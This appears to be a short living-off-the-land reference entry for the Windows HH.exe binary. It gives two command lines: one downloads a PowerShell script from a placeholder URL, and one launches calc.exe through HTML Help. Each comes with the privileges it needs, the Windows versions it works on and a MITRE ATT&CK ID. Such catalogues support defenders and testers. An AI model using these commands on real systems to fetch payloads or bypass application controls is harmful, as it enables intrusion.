.. /Hh.exe
Star

Binary used for processing chm files in Windows


Paths:

Resources:
Acknowledgements:

Detection:

Download

Open the target PowerShell script with HTML Help.
HH.exe http://some.url/script.ps1
Usecase: Download files from url
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1105



Execute

Executes calc.exe with HTML Help.
HH.exe c:\windows\system32\calc.exe
Usecase: Execute process with HH.exe
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.001